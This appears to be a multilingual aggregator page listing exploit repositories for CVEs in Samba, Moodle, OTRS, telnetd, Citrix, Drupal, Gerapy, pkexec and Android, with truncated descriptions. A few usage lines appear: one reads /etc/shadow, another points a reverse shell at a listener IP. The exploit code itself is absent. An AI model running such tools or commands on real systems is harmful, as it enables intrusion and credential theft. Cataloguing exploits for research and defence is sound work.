Samba-CVE-2007-2447-Exploit

Samba CVE-2007-2447 Exploit Dies ist ein Python-Skript zur Ausnutzung von CVE-2007-2447, einer Schwachstelle, die als Befehlsausführung über das 'Username'-Map-Skript im Samba-Server bekannt ist. Beschreibung Dieser Exploit wurde entwickelt, um Samba-Versionen 3.x - 4.x anzugreifen. CVE-2007-2447...

wp2shell

wp2shell CVE-2026-63030 + CVE-2026-60137+poc Esta vulnerabilidade não é muito fácil de explorar. Comando de execução de comandos no banco de dados: SELECT GROUPCONCATSCHEMANAME FROM INFORMATIONSCHEMA.SCHEMATA Referência: https://github.com/Icex0/wp2shell-poc Porém, há um problema aqui: a adição d...

agentwatch

agentwatch Un registratore di volo per le sessioni di Claude Code. Lasci che Claude Code venga eseguito sulla tua macchina — a volte per ore, a volte con auto-approvazione. agentwatch registra silenziosamente ogni azione, così puoi tornare indietro e vedere esattamente cosa è successo...

CVE-2021-21809

CVE-2021-21809 POC CVE 详情：Moodle 3.10 的默认旧版拼写检查器插件中存在命令执行漏洞。通过精心构造的一系列 HTTP 请求可导致命令执行。攻击者必须拥有管理员权限才能利用此漏洞。 在下面的视频中，我将通过利用此漏洞（未使用 Metasploit）来获取 Golden Eye 1 OSCP 实验环境的访问权限。查看 GoldenEye 1：https://www.vulnhub.com/entry/goldeneye-1,240/。 使用 telnet 命令获取反向 shell，将其编码为 url 格式，并保存到 Path to...

CVE-2001-1442

CVE-2001-1442 ISC INN 2.x - 命令行缓冲区溢出 Exploit-DB 发布 1: https://www.exploit-db.com/exploits/20777/ Exploit-DB 发布 2: https://www.exploit-db.com/exploits/20778/ Packetstorm 发布在 https://packetstormsecurity.com/files/24684/defcom.innfeed.txt.html Securityfocus 发布在...

OTRS-4.0.1-6.0.1-Remote-Command-Execution

OTRS-4.0.1-6.0.1 远程命令执行 该漏洞利用工具基于 https://www.exploit-db.com/exploits/43853 开发 它将针对OTRS面板进行认证并提供反向shell。 用法: python3 CVE-2017-16921.py CVE-2017-16921: 在OTRS 6.0.x至6.0.1版本、OTRS 5.0.x至5.0.24版本以及OTRS 4.0.x至4.0.26版本中，以代理身份登录OTRS的攻击者可以操纵表单参数（与PGP相关）并以OTRS或Web服务器用户的权限执行任意Shell命令。...

CVE-2026-24061

CVE-2026-24061 - bypass dell'autenticazione in telnetd di cosa si tratta Iniezione di argomenti in telnetd di GNU InetUtils. Versioni dalla 1.9.3 alla 2.7. CVSS 9.8. Nella CISA KEV dal 26.01.2026, quindi attivamente sfruttata in natura. Tutto il trucco sta nel fatto che telnetd prende il valore...

CVE-2021-40222

CVE-2021-40222 Приложение : Rittal CMC PU III Web management Устройства : CMC PU III 7030.000 Версия ПО : V3.11.002 Версия аппаратного обеспечения : V3.00 Тип атаки : Удаленное выполнение кода Решение : Обновите версию ПО до V3.17.10 или новее Краткое описание : Веб-приложение не очищает...

CVE-2026-24061-telnet2root

Scanner ed Exploit per la Vulnerabilità CVE-2026-24061 👨‍💻 Autore: Furkan KAYAPINAR @FurkanKAYAPINAR Panoramica Questo repository contiene uno scanner di vulnerabilità e un exploit interattivo per CVE-2026-24061. Questa vulnerabilità colpisce inetutils-telnetd e potenzialmente altre implementazioni...

CVE-2014-0196

См. https://vulners.com/cve/CVE-2014-0196...

CVE-2023-6895

python3 CVE-2023-6895.py -u http://target.com -c cmd...

CVE-2019-19781

Remote Code Execution Exploit CVE-2019-19781- Citrix Application Delivery Controller & Gateway Exploit d'exécution de code à distance pour Citrix Application Delivery Controller et Citrix Gateway CVE-2019-19781 Utilisation : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE ex. : bash...

Drupalgeddon2-CVE-2018-7600

🔥 Drupalgeddon 2 Exploit — bixi.py 📖 الوصف bixi.py هو أداة استغلال للثغرة CVE‑2018‑7600 Drupalgeddon 2 التي تؤثر على Drupal 7. يتيح تنفيذ الأوامر عن بُعد RCE على خوادم Drupal الضعيفة عبر واجهة بديهية وأوامر محددة مسبقًا. ⚠️ إخلاء المسؤولية / تنبيه قانوني هذا البرنامج مخصص فقط للأغراض التعليمية...

cve-2021-32849

cve-2021-32849 cve-2021-32849 gerapy कमांड निष्पादन उपयोग विधि पहले सुनने के लिए एक nc शुरू करें, फिर exp से हमला करें root@kitploit: python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857 esecuzione di comandi in Gerapy Dichiarazione di non responsabilità root@kitploit: Lo script è fornito solo a scopo di apprendimento e riferimento, non utilizzarlo per attaccare i siti web di altri in modo malevolo. In caso di violazione della legge o di cattiva...

bypass_disablefunc_via_LD_PRELOAD

bypassdisablefunc.php tem três opções GET: cmd, outpath e sopath. As opções são muito simples: cmd é o seu comando malicioso; outpath é o caminho do arquivo de saída do comando legível e gravável; sopath é o caminho absoluto do nosso objeto compartilhado bypassdisablefuncx64.so. Por exemplo:...

CVE-2021-4034-NoGCC

CVE-2021-4032-NoGCC Testato su: Ubuntu 20.04.3 LTS Kali 2021.4a CentOS Linux release 7.5.1804 Utilizzo: 1: shell interattiva ./cve-2021-4034-poc-x64 2: one-liner ./cve-2021-4034-poc-x64 "cat /etc/shadow"...

Debuggable-App-Exploit

CVE-2024-31317 Exploit di App Debuggabile Un exploit basato su Python per CVE-2024-31317 Iniezione Zygote Android che rende qualsiasi app Android installata debuggabile iniettando argomenti zygote malevoli tramite l'impostazione hiddenapiblacklistexemptions. Include iniezione opzionale del gadget...

ysoserial-modified

ysoserial-modified Questa è una fork dell'applicazione ysoserial originale che puoi trovare qui: https://github.com/frohoff/ysoserial Descrizione della Modifica A causa di come Runtime.getRuntime.execString.class funziona in Java, i comandi complessi e annidati in cui devi controllare le pipe o...

CVE-2023-31446-Remote-Code-Execution

CVE-2023-31446-Remote-Code-Execution Das Repository enthält eine Beschreibung für CVE-2023-31446, entdeckt vom Dodge Industrial Team für die Dodge OPTIFY-Plattform. CVE-ID: CVE-2023-31446 Anbieter: Cassia Networks Produkt: Cassia Gateway Firmware Version:...